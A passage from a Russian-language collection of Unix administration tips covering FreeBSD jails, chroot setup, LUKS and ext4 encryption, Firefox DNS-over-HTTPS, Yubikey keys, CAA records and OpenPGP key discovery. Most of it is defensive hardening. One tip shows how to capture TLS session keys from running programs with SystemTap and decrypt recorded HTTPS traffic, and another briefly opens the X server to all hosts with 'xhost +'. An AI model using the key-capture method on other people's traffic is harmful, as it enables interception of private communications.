       # Разрешаем запуск jail-машин
       jail_enable="YES"
       # Запрещаем им менять свое имя jail_set_hostname_allow="NO"
       # Перечисляем jail-машины в системе.
       jail_list="machine"
    
       # Jail-машина "machine"
       # Корневая директория jail_machine_rootdir="/var/jail/machine"
       # Имя jail_machine_hostname="machine.local"
       # IP-адрес jail_machine_ip="192.168.0.10"
       # На какой сетевой интерфейс будет цепляться jail-машина  
       jail_machine_interface="ed0"
       # монтируем файловую систему devfs внутри jail-машины. 
       jail_machine_devfs_enable="YES"
       # Скрипты запуска и останова 
       jail_machine_exec_start="/bin/sh /etc/rc"
       jail_machine_exec_stop="/bin/sh /etc/rc.shutdown"
    
    7. Кроме того требуется все запускаемые сервисы основной системы привязать к его ip-адресам 
    (не должны слушаться порты на ip-адресах jail-машин).
    Например, в rc.conf:
    
       # Супер-сервер inetd
       inetd_enable="YES"
       # Слушает порт только на 192.168.0.1
       inetd_flags="-wW -a 192.168.0.1"
       # Syslogd
       syslogd_enable="YES"
       # Не слушать порты
       syslogd_flags="-ss"
    
    8. Запускаем созданную jail-машину:
    
       # /etc/rc.d/jail start
    
     
    ----* Создание 32-битного chroot окружения в 64-битной Debian установке (доп. ссылка 1)   Автор: Amadeu A. Barbosa Jr  [комментарии]
     
    Ниже пример организации 32-битного chroot окружения в 64-битной системе.
    
    Устанавливаем пакет schroot
       aptitude install schroot 
    
    Создаем файл конфигурации /etc/schroot/schroot.conf:
       [sid]
       description=Debian sid (unstable)
       location=/srv/chroot/sid
       priority=3
       users=YOUR_USER
       groups=SOME_GROUP_LIKE_users
       root-groups=YOUR_ADMIN_USER
    
    Формируем chroot окружение:
        debootstrap --arch i386 sid /srv/chroot/sid http://ftp.br.debian.org/debian 
    
    Установка программ в chroot:
        schroot -c sid -p aptitude install wengophone
    
    Монтируем /proc и /dev основной системы в chroot:
       mount /dev /srv/chroot/sid/dev -o bind
       mount /proc /srv/chroot/sid/proc -o bind
    
    Разрешаем запуск графических приложений из chroot на основном X сервере:
        xhost +
    
    Запускаем приложения wengophone и skype:
        schroot -c sid -p wengophone
        schroot -c sid -p skype
    
    Закрываем полный доступ к X серверу.
        xhost -
    
     
    ----* Как решить проблему с ведением логов у программ в chroot окружении   [комментарии]
     
    Например, в postfix запущенном в chroot, через настройки в master.cf, при перезапуске syslogd 
    перестают писаться логи qmgr, тем временем все остальные логи пишутся нормально.
    
    Решение - необходимо создать дополнительный log сокет в chroot окружении:
       FreeBSD: "syslogd -l /var/spool/postfix/dev/log"
       Linux: "syslogd -a /var/spool/postfix/dev/log"
    
     
    ----* Помещение пользователя в chroot при входе в систему (доп. ссылка 1)   Автор: HFSC  [комментарии]
     
    В качестве шелла пользователю назначается скрипт /bin/chrsh
    echo "/bin/chrsh" >> /etc/shells
    cat >> /bin/chrsh << EOF
    #!/bin/sh
    /usr/bin/sudo /usr/bin/chroot /home/$USER /bin/bash
    EOF 
    chsh -s /bin/chrsh логин
    
     
    ----* Как автоматизировать перемещение нужных библиотек в chroot окружение  (доп. ссылка 1)   [комментарии]
     
    ldd /usr/local/libexec/apache/* | grep '=>' | awk {' print $3 '} | \
         grep '/usr/lib' | xargs -J % install -C % chroot_dir/usr/lib/
    ldd /usr/local/libexec/apache/* | grep '=>' | awk {' print $3 '} | \
         grep '/usr/local/lib' | xargs -J % install -C % chroot_dir/usr/local/lib/
    ldd /usr/local/libexec/apache/* | grep '=>' | awk {' print $3 '} | \
         grep '/usr/X11R6/lib' | xargs -J % install -C % chroot_dir/usr/X11R6/lib/
    
    Пару скриптов для синхронизации файлов в chroot - ftp://ftp.opennet.ru/pub/security/chroot/
    
     
    ----* Как посмотреть какие файлы пытается открыть или выполнить программа   [комментарии]
     
    strace -f -o strace.txt -e execve программа
    strace -f -o strace.txt -e open,ioctl программа
    
     
    ----* Почему suexec может не работать при запуске Apache в режиме chroot. (доп. ссылка 1)   [обсудить]
     
    1. В chroot окружении обязательно должен быть /etc/passwd с пользователями для
    которых используется suexec.
    2. Помещена ли в bin директорию программа suexec ?
    3. Установлен ли suid root флаг для программы suexec ? (при копировании suid флаг исчезает).
    4. Все ли динамические библиотеки присутствуют:
       chroot /hst /usr/local/apache/bin/ldd /usr/local/apache/bin/httpd
       chroot /hst /usr/local/apache/bin/ldd /usr/local/apache/bin/suexec
        предварительно положив ldd в /hst/usr/local/apache/bin/
    
     
    ----* Как узнать какие динамические библиотеки прилинкованы к программе   [комментарии]
     
    ldd файл
    
     

       Шифрование, PGP

    ----* Защита от подмены серверных TLS-сертификатов в результате MITM-атаки провайдером (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для предотвращения получения TLS-сертификатов третьими лицами, которые в ходе
    MITM-атаки могут контролировать трафик сервера, рекомендовано использовать
    DNS-запись CAA, через которую можно указать какой именно удостоверяющий центр и
    какая именно учётная запись в этом удостоверяющем центре авторизированы на
    выдачу сертификата для домена.
    
    CAA поддерживается в Let's Encrypt и не позволяет запросить сертификат,
    используя другой ACME-ключ. Для включения привязки в DNS-зону следует добавить:
    
    для привязки домена example.com к удостоверяющему центру letsencrypt.org:
    
       example.com. IN CAA 0 issue "letsencrypt.org"
    
    для дополнительно привязки к учётной записи acme-v02.api.letsencrypt.org/acme/acct/1234567890
    
       example.com. IN CAA 0 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1234567890"
    
    DNS-сервер должен быть размещён на отдельном сервере, не подверженном
    MITM-атаке. Для дополнительной защиты от подмены DNS необходимо использовать
    протокол DNSSEC, который помешает атакующим подменить  DNS-ответы с записью CAA.
    
    Дополнительно рекомендовано через Tor или внешние хосты наладить автоматический
    мониторинг  отсутствия подмены сертификатов, и подключиться к сервисам
    мониторинга CT-логов (Certificate Transparency, отражают выданные
    удостоверяющими центрами сертификаты) или вручную отслеживать появление
    незапрошенных сертификатов в CT-логах (https://crt.sh/). Также  рекомендовано
    выбирать размещённых в разных странах операторов хостинга, регистрации домена,
    DNS и удостоверяющих центров.
    
     
    ----* Перевод шифрованного раздела на LUKS2 и более надёжную функцию формирования ключа (доп. ссылка 1)   [комментарии]
     
    В шифрованных разделах LUKS1 в качестве функции формирования ключа (KDF, Key
    Derivation Function) на основе заданного пользователем пароля применяется
    функция PBKDF2, не обеспечивающая должную стойкость от подбора с использованием
    GPU. В LUKS2 в качестве KDF появилась возможность использования гибридной хэш-функции
    argon2id, которая помимо потребления
    вычислительных ресурсов, затрудняет распараллеливание и требует значительного
    объёма памяти.
    
    Например, подбор KDF-функции PBKDF2, рассчитанной на потребление CPU,  может
    эффективно распараллеливаться на GPU Geforce 4090 c 16384 вычислительными
    блоками, но в случае применения argon2id подбор упирается в размер видеопамяти
    (при потреблении 1 ГБ на каждую операцию подбора, на GPU с 24 ГБ памяти можно
    обеспечить лишь подбор в 24 параллельных потока).
    
    Переключение с LUKS1 на LUKS2 с  argon2id.
    
    Определяем на каком устройстве находится шифрованный раздел:
    
       lsblk
    
       ...
       └─nvme0n1p3    259:3    0 474,8G  0 part  
         └─nvme0n1p3_crypt
                      253:0    0 474,8G  0 crypt 
           ├─vgubuntu--mate-root
           │          253:1    0 473,8G  0 lvm   /var/snap/firefox/common/host-hunspell
           │                                     /
           └─vgubuntu--mate-swap_1
                      253:2    0   980M  0 lvm   [SWAP]
    
    Сохраняем резервную копию заголовка LUKS и затем копируем на внешний носитель,
    чтобы иметь возможность восстановить состояние.
    
       sudo cryptsetup luksHeaderBackup /dev/nvme0n1p3 --header-backup-file /tmp/luksheader
    
    
    Проверяем версию LUKS:
    
       sudo cryptsetup luksDump /dev/nvme0n1p3
    
       ...
       Version:    1
       ...
       PBKDF:      pbkdf2
    
    Если версия 1, то необходимо обновить заголовок до LUKS2.
    
       sudo cryptsetup convert /dev/nvme0n1p3 --type luks2
    
    Проверяем, что с новым заголовком система по-прежнему грузится и если возникли
    проблемы восстанавливаем старый заголовок командой
    
       sudo cryptsetup luksHeaderRestore /dev/nvme0n1p3 --header-backup-file путь_к_скопированному_luksheader
    
    Ещё раз выполняем cryptsetup luksDump и проверяем алгоритм в секции Keyslots,
    если указано "pbkdf2" или "argon2i" следует обновить его до
    "argon2id":
    
       sudo cryptsetup luksConvertKey /dev/nvme0n1p3 --pbkdf argon2id
    
    Проверяем результат:
    
       sudo cryptsetup luksDump /dev/nvme0n1p3
    
       ...
       Version:       	2
       ...
       Keyslots:
         0: luks2
            ...
            PBKDF:      argon2id
            ...
    
        0: luks2
            ...
            PBKDF:      argon2id
            ...
    
     
    ----* Шифрование данных на существующем разделе ext4 без его переформатирования (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Можно отметить два основных способа организации шифрования данных в уже
    существующей файловой системе Ext4, не требующие пересоздания раздела с
    переносом данных из резервной копии. Первый способ заключается в использовании
    встроенных в Ext4 возможностей по шифрованию отдельных каталогов, а второй в
    использовании команды "cryptsetup reencrypt" для прозрачного переноса ФС на
    новый шифрованный раздел LUKS. В любом случае создание полной резервной копии
    перед выполнением предложенных манипуляций обязательно.
    
    Первый способ наиболее простой и безопасный, но он ограничен использованием
    отдельных шифрованных каталогов, в которые можно перенести конфиденциальные
    данные, требующие защиты. Шифрование в Ext4 поддерживается при использовании
    как минимум ядра Linux 4.1 и утилит 2fsprogs 1.43.
    
    Выставляем в суперблоке раздела  c ФС ext4 флаг поддержки шифрования (в нашем случае /dev/sda1):
    
        sudo tune2fs -O encrypt /dev/sda1
    
    Создаём каталог, в котором будут храниться зашифрованные данные текущего пользователя:
    
        mkdir -p /secret/home/user
      
    Генерируем случайную salt-последовательность для последующего шифрования и
    сохраняем её в отдельный файл:
    
        echo 0x`head -c 16 /dev/urandom | xxd -p` > /home/user/.crypt_salt
     
    
    Создаём на базе данной salt-последовательности ключ для шифрования, указав для него пароль:
    
        e4crypt add_key -S /home/user/.crypt_salt
    
        Enter passphrase (echo disabled):
        Added key with descriptor [f467134ca2c48c33]
    
    Проверяем добавление ключа командой "keyctl show", которая поставляется в пакете keyutils.
    
      
    Активируем шифрование для каталога /secret/home/user, указав выданный идентификатор ключа:
    
        e4crypt set_policy f467134ca2c48c33 /secret/home/user
    
    Если после перезагрузки попытаться обратится к каталогу /secret/home/user без
    добавления ключа командой "e4crypt add_key", его содержимое будет показано в
    зашифрованном виде. Для расшифровки каталога при каждой загрузке необходимо
    настроить повторный вызов команды add_key для привязки ключа.
       
       e4crypt add_key -S /home/user/.crypt_salt
    
       Enter passphrase (echo disabled):
       Added key with descriptor [f467134ca2c48c33]
    
    Для просмотра привязанного к каталогу ключа можно использовать команду
    
       e4crypt get_policy /secret/home/user
    
    
    
    В случае необходимости шифрования всего содержимого можно использовать LUKS
    cryptsetup для шифрования имеющегося раздела без потери данных.
    
    Отмонтируем шифруемый раздел (при изменении корневого раздела нужно загрузиться
    с отдельного live-дистрибутива), проверяем целостность ФС и уменьшаем размер ФС
    для того, чтобы разместить заголвки LUKS на диске (в ФС должно быть достаточно
    свободного места):
    
       e2fsck -f /dev/sda4
       resize2fs /dev/sda4 размер_меньше_текущего_на_32МБ
    
    Шифруем содержимое имеющегося раздела без потери информации:
       
       cryptsetup reencrypt --encrypt /dev/sda4 --reduce-device-size 32M
       
    Открываем раздел:
    
       cryptsetup open /dev/sdXY home
      
    Увеличиваем размер ФС до свободной границы
    
       resize2fs /dev/mapper/home
    
    Монтируем раздел:
       
        mount /dev/mapper/home /mnt/home
    
    Смотрим UUID:
    
       blkid /dev/mapper/home 
    
    Добавляем информацию о разделе в /etc/crypttab
    
       home UUID=UUID_устройства_LUKS none
    
     
    ----* Создание шифрованных образов виртуальных машин (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по созданию полностью зашифрованного образа гостевой системы, в
    котором шифрование охватывает корневой раздел и стадию загрузки.
    
    Извлекаем содержимое корневого раздела образа виртуальной машины, который
    требуется зашифровать,  в tar-архив vm_root.tar. Проверяем, чтобы в образе были
    необходимые для шифрования и EFI-загрузки разделов утилиты, такие как
    cryptodisk и grub-efi.
    
    Создаём файл с дисковым образом, содержащим два раздела - небольшой раздел для
    EFI (p1, 100МБ)  и корневой раздел, содержимое которого будет зашифровано (p2).
    
    
       truncate -s 4GB disk.img
       parted disk.img mklabel gpt
       parted disk.img mkpart primary 1Mib 100Mib
       parted disk.img mkpart primary 100Mib 100%
       parted disk.img set 1 esp on
       parted disk.img set 1 boot on
    
    Настраиваем EFI на первом разделе и дисковое шифрование LUKS на втором. Для
    повышения защищённости можно заполнить шифрованный раздел случайными числами,
    но это приведёт к увеличению размера итогового образа qcow2. Создаём на
    шифрованном разделе ФС Ext4.
    
    привязываем образ к loop-устройству
    
       losetup -P -f disk.img          
    
    определяем имя созданного устройства (/dev/loopN), в дальнейшем используем
    переменную $l вместо устройства
    
       l=($(losetup -l|grep disk.img)) 
    
    создаём раздел с EFI, используем VFAT
    
       mkfs.vfat ${l}p1
    
    определяем UUID раздела EFI
    
       blkid ${l}p1  
    
    создаём шифрованный раздел, в процессе задаём временный пароль для расшифровки
    
       cryptsetup --type luks1 luksFormat ${l}p2 
    
    определяем UUID шифрованного раздела
    
       blkid ${l}p2 
    
    активируем шифрованный раздел и создаём на нём ФС ext4
    
       cryptsetup luksOpen ${l}p2 cr_root
       mkfs.ext4 /dev/mapper/cr_root
    
    монтируем раздел, копируем в него содержимое tar-архива с начинкой корневого
    раздела и создаём каталоги для точек монтирования /run, /sys, /proc и /dev.
    
       mount /dev/mapper/cr_root /mnt
       tar -C /mnt -xpf vm_root.tar
       for m in run sys proc dev; do mount --bind /$m /mnt/$m; done
    
    входим в окружение созданного корневого раздела
    
       chroot /mnt
    
    В /etc/fstab определяем метку корневого раздела (/dev/disk/cr_root) и раздела  EFI (/boot/efi).
    
    Настраиваем и устанавливаем загрузчик GRUB (в некоторых дистрибутивах вместо
    /boot/grub используется /boot/grub2, а вместо префикса "grub" - "grub2-"):
    
      echo "GRUB_ENABLE_CRYPTODISK=y" >> /etc/default/grub
       mount /boot/efi
       grub-install --removable --target=x86_64-efi
       grub-mkconfig -o /boot/grub/grub.cfg
    
    Для систем с mkinitramfs (Debian) дополнительно нужно добавить параметры
    шифрованного раздела в /etc/crypttab:
    
       cr_root UUID=<uuid> luks none
    
    После чего пересоздаём образ ram-диска с компонентами для начальной загрузки. 
    
    
    Для систем с dracut требуется изменить настройки /etc/default/grub, указав в
    GRUB_CMDLINE_LINUX привязку rd.luks.uuid=<UUID>. Для дистрибутивов с SELinux
    также нужно обновить метки (relabel).
    
    Отмонтируем созданные в процессе подготовки образа разделы из /mnt и пытаемся
    загрузить образ, используя режим EFI. В процессе загрузки вводим заданный ранее
    временный пароль и проверяем работоспособность окружения.
    
    Заменяем временный пароль на ключ для быстрой загрузки и настраиваем ram-диск
    для его использования. Для образа, примонтированного через /dev/sda:
    
       dd if=/dev/urandom bs=1 count=33|base64 -w 0 > /etc/cryptsetup-keys.d/luks-<UUID>.key
       chmod 600 /etc/cryptsetup-keys.d/luks-<UUID>.key
       cryptsetup --key-slot 1 luksAddKey /dev/sda2 # первичный ключ для восстановления
       cryptsetup --key-slot 0 luksRemoveKey /dev/sda2 # удаляем временный ключ
       cryptsetup --key-slot 0 --iter-time 1 luksAddKey /dev/sda2 /etc/cryptsetup-keys.d/luks-<UUID>.key
    
    Указание опции "-w 0" в dd необходимо для того, чтобы исключить появление в
    пароле символа перевода строки.
    
    Для систем с mkinitramfs теперь нужно изменить настройки /etc/crypttab, указав
    путь к сгенерированному ключу:
    
       cr_root UUID=<UUID> /etc/cryptsetup-keys.d/luks-<UUID>.key luks
    
    Для систем с dracut необходимо добавить hook ключа в /etc/dracut.conf.d, а для
    Debian также потребуется указать маску определения файла с ключом:
    
    cryptodisk.conf 
       install_items+=" /etc/cryptsetup-keys.d/* "
    
       echo "KEYFILE_PATTERN=\"/etc/cryptsetup-keys.d/*\"" >>/etc/cryptsetup-initramfs/conf-hook
    
    Теперь можно перегенерировать образ RAM-диска начальной загрузки. После попытки
    загрузки пароль будет спрошен один раз только на стадии запуска GRUB и на
    последующих стадиях загрузки запрашиваться не будет.
    
     
    ----* Включение ESNI и DNS over HTTPS в Firefox (доп. ссылка 1)   [комментарии]
     
    Включения network.security.esni.enabled=true в about:config недостаточно для
    активации в Firefox  TLS-расширения ESNI (Encrypted Server Name Indication),
    обеспечивающего шифрование данных о хосте, запрашиваемом в рамках HTTPS-соединения.
    
    На данным момент ESNI не работает без использования встроенного в Firefox
    резолвера "DNS over HTTPS" (network.trr.mode = 2). Использовать ESNI
    пока можно только при активации "DNS over HTTPS".
    
    
    Для включения "DNS over HTTPS" в about:config следует изменить значение
    переменной network.trr.mode. Значение 0 полностью отключает DoH;
    1 - используется DNS или DoH, в зависимости от того, что быстрее; 
    2 - используется DoH по умолчанию, а DNS как запасной вариант; 
    3 - используется только DoH; 
    4 - режим зеркалирования при котором DoH и DNS задействованы параллельно. 
    
    По умолчанию используется DNS-сервер CloudFlare, но его можно изменить через
    параметр network.trr.uri, например, можно установить:
    
    * https://dns.google.com/experimental 
    * https://cloudflare-dns.com/dns-query 
    * https://dns.quad9.net/dns-query (он же https://9.9.9.9/dns-query)
    * https://doh.powerdns.org
    * https://doh.cleanbrowsing.org/doh/family-filter/ (с родительским контролем)
    * https://doh2.dnswarden.com (с родительским контролем)
    * https://dns.dnsoverhttps.net/dns-query (проброс запросов через tor)
    * https://doh.securedns.eu/dns-query (заявлено об отсутствии ведения логов)
    * https://doh.crypto.sx/dns-query (на базе doh-proxy)
    * https://doh-de.blahdns.com/dns-query (используется реализация на Go)
    * https://dns.dns-over-https.com/dns-query (используется реализация на Go)
    * https://commons.host (реализация на Node.js)
    
     
    ----* Использование SystemTap для расшифровки локального HTTPS-трафика  (доп. ссылка 1)   [комментарии]
     
    В состав выпуска системы динамической трассировки SystemTap 3.3 добавлен
    скрипт capture_ssl_master_secrets.stp с  примером захвата сессионных ключей
    SSL/TLS  от приложений, использующих gnutls (libgnutls.so) или openssl
    (libssl.so), которые могут использоваться для организации расшифровки
    перехваченного трафика.
    
    Пример использования в Debian 9:
    
    Включаем SystemTap:
    
       sudo stap-prep
    
    Устанавливаем отладочные версии библиотек:
    
       sudo apt-get install libgnutls30-dbgsym libssl1.0.2-dbgsym libssl1.1-dbgsym libssl-dev
    
    Запускаем перехват ключей, генерируемых при вызове обработчиков
    tls1_generate_master_secret и generate_normal_master в libssl.so и libgnutls.so:
    
       ./capture_ssl_master_secrets.stp | tee keylog.txt &
    
    Включаем запись дампа трафика в формате pcap:
    
       sudo tcpdump -s0 -w traffic.pcap -U port 443 &
    
    Формируем тестовые запросы к защищённым сайтам:
    
       curl https://www.ssllabs.com/curl_secret
       wget https://www.ssllabs.com/wget_secret
       echo "GET /sclient_secret HTTP/1.1\nHost: www.ssllabs.com\n\n" | openssl s_client -connect www.ssllabs.com:443 -servername www.ssllabs.com
    
    Смотрим, какие ключи удалось захватить:
       cat keylog.txt
    
       # 1509378583063892 process("/usr/lib/x86_64-linux-gnu/libssl.so.1.0.2").function("tls1_generate_master_secret@./ssl/t1_enc.c:1134").return curl (24745)
       CLIENT_RANDOM 92...69000
       # 1509378587558501 process("/usr/lib/x86_64-linux-gnu/libgnutls.so.30.13.1").function("generate_normal_master@./lib/kx.c:131").return wget (24755)
       CLIENT_RANDOM 59f...28a 560...67c8
       # 1509378592611222 process("/usr/lib/x86_64-linux-gnu/libssl.so.1.1").function("tls1_generate_master_secret@../ssl/t1_enc.c:463").return openssl (24757)
       CLIENT_RANDOM aa2...fc93 741...127a
    
    Расшифровываем дамп трафика, используя захваченные ключи:
    
       $ tshark -o ssl.keylog_file:keylog.txt -d tcp.port==443,ssl -x -r traffic.pcap -V | grep -A1 'Decrypted SSL data' |grep "GET "
    
       0000  47 45 54 20 2f 63 75 72 6c 5f 73 65 63 72 65 74   GET /curl_secret
       0000  47 45 54 20 2f 77 67 65 74 5f 73 65 63 72 65 74   GET /wget_secret
       0000  47 45 54 20 2f 73 63 6c 69 65 6e 74 5f 73 65 63   GET /sclient_sec
    
     
    ----* Использование USB-брелоков Yubikey для ключей GPG и SSH (доп. ссылка 1)   [комментарии]
     
    Пример, как можно использовать USB-брелок Yubikey в качестве смарткарты для
    хранения GPG-ключей и ключей для аутентификации на SSH-серверах.
    
    Использование с GPG.
    
    Подключаем Yubikey к порту USB и проверяем, что он определился:
    
       gpg --card-status
       ...
       Version ..........: 2.1
       Manufacturer .....: Yubico
    
    Для переноса GPG-ключа на брелок запускаем "gpg --edit-key идентификатор_ключа"
    и выполняем в редакторе команду "keytocard" (внимание, закрытый ключ будет не
    скопирован, а перенесён, т.е. удалён с локальной машины, поэтому нужно заранее
    позаботиться о создании резервной копии).
    
    Убедимся, что ключ переместился:
    
       gpg --card-status | grep key
    
       URL of public key : [...]
       Signature key ....: [...] XXXX YYYY
       Encryption key....: [...] ZZZZ VVVV
       Authentication key: [...] AAAA BBBB
       General key info..: sub  rsa4096/QQQQQQ <foobar@domain.tld>
    
    Для проверки создадим шифрованное сообщение и расшифруем его:
    
       gpg --encrypt  --output /tmp/message.txt.enc -r foobar@domain.tld /tmp/message.txt
       gpg --decrypt /tmp/message.txt.enc
    
    
    Настраиваем SSH-ключи.
    
    Удостоверимся, что ключ аутентификации перенесён на Yubikey ("Authentication
    key" в выводе "gpg --card-status") и выполним экспорт открытого ключа SSH из Yubikey:
    
       gpg --export-ssh-key 0xAAAABBBB
      
    Далее, скопируем экспортированный ключ на SSH-сервер и настроим gpg-agent для
    работы в роли агента SSH:
    
       echo 'enable-ssh-support' >> ~/.gnupg/gpg-agent.conf       
    
    Перезапустим агенты GPG/SSH:
    
       killall gpg-agent
       killall ssh-agent
       gpg-agent --daemon
    
    Поменяем путь к сокету SSH_AUTH_SOCK на GPG. В ~/.bashrc:
    
       export SSH_AGENT_PID=""
       export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
    
    Проверим, виден ли ключ SSH при подключении брелока:
    
       ssh-add -l
    
       4096 SHA256:XXXX cardno:0006064XXXX (RSA)
    
    Всё в порядке, теперь при подключении к серверу SSH будет использовать ключ с брелока Yubikey.
    
     
    ----* Использование CAA записей в DNS для защиты от генерации фиктивных HTTPS-сертификатов   [комментарии]
     
    Начиная с сентября 2017 года удостоверяющим центрам предписано обязательно
    проверять CAA-записи в DNS перед генерацией сертификата. CAA (RFC-6844,
    Certificate Authority Authorization) позволяет владельцу домена явно определить
    удостоверяющий центр, который имеет полномочия для генерации сертификатов для
    указанного домена. При наличии CAA-записи все остальные удостоверяющие центры
    обязаны блокировать выдачу сертификатов от своего имени для данного домена и
    информировать его владельца о попытках компрометации.
    
    Например, добавление в зону домена example.com записей (для BIND 9.9.6 и более новых выпусков):
    
       $ORIGIN example.com
       .       CAA 0 issue "letsencrypt.org"
       .       CAA 0 iodef "mailto:security@example.com"
    или
       .       CAA 0 iodef "http://iodef.example.com/"
    
    
    указывает на то, что сертификаты для example.com  генерируются только
    удостоверяющим центром  Let's Encrypt (осуществляется проверка владельца
    домена "letsencrypt.org"). В поле iodef задаётся метод оповещения о попытке
    генерации сертификата. Поддерживается отправка уведомления на email или
    информирование через запрос к web-сервису (RFC-6546).
    
    При желании можно уточнить учётную запись под которой разрешено генерировать сертификаты:
    
       .       CAA 0 issue "letsencrypt.org; account=12345"
    
    Кроме  issue также поддерживается поле issuewild, через которое задаются
    дополнительные ограничения выдачи сертификатов с маской, охватывающей группу хостов.
    
    Допустимо указание нескольких записей issue, при использовании сертификатов от
    нескольких удостоверяющих центров:
    
      example.com.       CAA 0 issue "symantec.com"
      example.com.       CAA 0 issue "pki.goog"
      example.com.       CAA 0 issue "digicert.com"
    
    Проверить корректность создания записей CAA можно командой:
    
       dig +short +noshort example.com CAA
    
    Также доступен web-интерфейс для автоматической генерации конфигураций.
    
     
    ----* Методы обнаружения ключей OpenPGP   Автор: stargrave  [комментарии]
     
    Мы знаем email адрес человека и хотим с ним безопасно связаться. Как узнать его
    публичный OpenPGP ключ?
    
    Заранее обменяться ключами
    
       gpg --import MYKEYID.asc
    
    Самый простой, самый надёжный вариант. Но не всегда практичный и удобный, так
    как физическая встреча людей далеко не всегда возможна. Узнать или получить можно
    не весь ключ (он относительно больших размеров), но хотя бы
    отпечаток ключа, чтобы его можно было аутентифицировать, получив из сторонних источников.
    
    Экспорт ключа для записи его на бумагу, флешку, любой носитель:
    
       gpg --armor --output MYKEYID.asc --export MYKEYID
    
    Получить ключ через один из множества ключевых серверов (keyserver)
    
       gpg --keyserver KEYSERVER --recv-keys SOME@BODY.COM
    
    Технически, сервер ключей представляет собой что-то вроде публичного
    FTP-сервера, который умеет импортировать/обрабатывать OpenPGP записи и
    производить по ним поиск, работает по OpenPGP HTTP Keyserver Protocol (HKP)
    протоколу. Многие из них синхронизируются между собой автоматически и, загрузив
    ключ на один из них, можно ожидать его появление на других серверах, но это
    происходит далеко не всегда.
    
    Проблема заключается в том, что никто не обязывает загружать свои ключи на сервера:
    многие просто не хотят "светить" своей приватной информацией (email адрес, имя
    связанное с ним). Плюс заранее неизвестно, какой ключевой сервер надо использовать.
    
    Ключевые сервера только импортируют информацию, добавляют, но никогда не
    удаляют. С одной стороны, это хорошо, с другой, становится невозможно удалить
    ключ или часть его информации (UID-ы, подключи).
    
    Поддержка ключевых серверов имеется во множестве OpenPGP клиентов. Отправить
    ключ на сервер можно так:
    
       gpg --keyserver KEYSERVER_URL --send-keys MYKEYID
    
    Получить ключ через DNS-based Authentication of Named Entities (DANE)
    
       gpg --auto-key-locate dane --locate-key SOME@BODY.COM
    
    В этом варианте OpenPGP ключ полностью размещается внутри одной DNS записи
    hash(SOME)._openpgpkey.body.com. Из-за хэширования не утекает настоящее имя "SOME".
    
    DANE требует возможность управления DNS записями и накладывает ограничения на
    сервер (TCP и EDNS расширения обязательны почти наверняка). Многие пользователи
    приобретают собственные домены, хотя DNS, почтовые и Web-сервера располагаются
    у сторонних лиц. Например, можно использовать собственное доменное имя, но
    почтовые сервера Google, при этом пользуясь DANE без сторонних ключевых
    серверов и потерь приватности.
    
    DANE поддерживается клиентами не так широко, но его записи можно получить
    самостоятельно drill/dig запросами и импортировать результат в OpenPGP программу.
    
    Генерирование DANE CERT записи, которую можно вставить в зону DNS, делается просто:
    
       gpg --export --export-options export-dane MYKEYID
    
    Получить ключ через Web Key Discovery (WKD)
    
       gpg --auto-key-locate wkd --locate-key SOME@BODY.COM
    
    WKD протокол пока ещё на стадии утверждения и что-то может поменяться, но его
    реализация уже имеется в последних версиях GnuPG. Для получения ключа он
    использует HTTPS инфраструктуру. В данном примере команда приведёт к простому
    скачиванию бинарного (не Base64) ключа https://body.com/.well-known/openpgp/hu/hash(SOME).
    
    WKD использует HTTPS и может быть более удобен для использования и публикации
    ключей по сравнению с DNS. В нём нет задержек от кэша DNS, статические файлы
    проще обновлять чем DNS записи, особенно если это хочется сделать как-то
    автоматизировано на всём домене для множества пользователей. Однако, это ещё
    одна инфраструктура (кроме DNS), и обязательно работающая по TLS. Получение TLS
    сертификатов может являться проблемой.
    
    WKD поддерживается пока реже, чем DANE, но получить ключ с HTTPS
    сервера можно любым HTTP клиентом и сразу же импортировать в OpenPGP программу.
    
    Узнать хэш-часть до доменного имени, под которой необходимо загрузить ключ на
    HTTPS сервер, можно так:
    
       gpg --list-keys --with-wkd-hash MYKEYID
    
    Получить ключ через LDAP
    
       gpg --auto-key-locate ldap --locate-key SOME@BODY.COM
    
    В этом варианте будет обращение к LDAP серверу ldap://keys.body.com/ и поиск
    OpenPGP ключа на нём для заданного пользователя. Скорее всего, это имеет смысл
    для корпоративных решений, где LDAP применяется чаще, чем в масштабах Интернета.
    
    Но у нас пока нет доверия к полученным по HKP (ключевой сервер)/DANE/WKD
    ключам. Злоумышленник может иметь контроль над ними, может сделать MitM
    (дословно, "человек посредине")
    атаку. Как проверить целостность и аутентичность полученного ключа?
    
    Сравнить отпечаток с тем, что вы получили напрямую от человека
    
    Разместить отпечаток на визитке -- плёвое дело. Самый надёжный и простой
    вариант, но опять же, не всегда возможен физический контакт людей.
    
    Узнать отпечаток импортированного ключа можно так:
    
       gpg --list-keys --with-fingerprint MYKEYID
    
    Узнать отпечаток у владельца по сторонним каналам связи
    
    Использовать голосовую и/или видео связь, разные средства коммуникации (IRC,
    XMPP, PSYC, итд), телефонную связь, обычную почту с принимающей стороной.
    Компрометация всего и сразу маловероятна, но часто бывает, что ничего кроме
    собственно самой почты вы не знаете и не имеете никакой информации для аутентификации.
    
    Сравнить отпечаток с полученным по PKA
    
       gpg --auto-key-locate pka --locate-key SOME@BODY.COM
    
    PKA это DNS запись, но в отличиие от DANE, там размещён только отпечаток ключа,
    поэтому её можно переслать UDP пакетами, не предъявляя особых требований к DNS серверу.
    
    Генерирование PKA записи, которую можно вставить в зону DNS, делается просто:
    
       gpg --export --export-options export-pka MYKEYID
    
    Желательно использовать DNSSEC и TLS
    
    Записи DANE и PKA желательно аутентифицировать через DNSSEC. Это не даёт
    гарантий, что MitM-атака невозможна, но усложняет её. К примеру, WKD работает
    только поверх TLS.
    
    Использовать HKP, PKA, DANE, WKD по разным каналам связи
    
    Используйте разные DNS сервера, разные прокси, разные сети. Компрометация
    множества сетей и серверов - более сложная задача для злоумышленника.
    
    Если мы не получали отпечаток ключа, или сам ключ напрямую от его владельца, то
    полного доверия к полученному через все эти WKD, DANE и прочих, у
    нас нет. Например, ключевой сервер это одна точка отказа. DANE и TLS используют
    PKI, который может быть скомпрометирован на государственном уровне.
    
    Для того чтобы иметь хоть какое-то доверие, в OpenPGP используется:
    
    Сеть доверия: Web-of-Trust (WoT)
    
    Пользователи могут подписывать публичные ключи друг друга, тем самым заверяя,
    что аутентифицировали ту или иную информацию в ключе (например, видели паспорт
